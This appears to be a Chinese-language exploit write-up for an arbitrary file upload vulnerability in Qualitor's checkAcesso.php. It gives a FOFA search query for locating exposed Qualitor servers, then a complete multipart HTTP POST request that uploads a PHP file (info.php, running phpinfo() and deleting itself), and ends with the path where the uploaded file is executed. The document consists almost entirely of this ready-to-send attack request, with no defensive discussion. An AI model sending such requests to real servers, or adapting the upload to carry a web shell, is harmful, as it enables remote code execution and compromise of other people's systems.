Qualitor checkAcesso.php存在任意文件上传漏洞
一、漏洞简介
Qualitor checkAcesso.php存在任意文件上传漏洞
二、影响版本
- Qualitor
三、资产测绘
- fofa
app="Qualitor-Web" - 特征
四、漏洞复现
POST /html/ad/adfilestorage/request/checkAcesso.php HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=---------------------------QUALITORspaceCVEspace2024space44849
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="idtipo"
2
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmfilestorage"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmdiretoriorede"
.
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmbucket"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmaccesskey"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="nmkeyid"
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="fleArquivo"; filename="info.php"
<?php phpinfo();unlink(__FILE__);?>
-----------------------------QUALITORspaceCVEspace2024space44849
Content-Disposition: form-data; name="cdfilestorage"
-----------------------------QUALITORspaceCVEspace2024space44849--
/html/ad/adfilestorage/request/info.php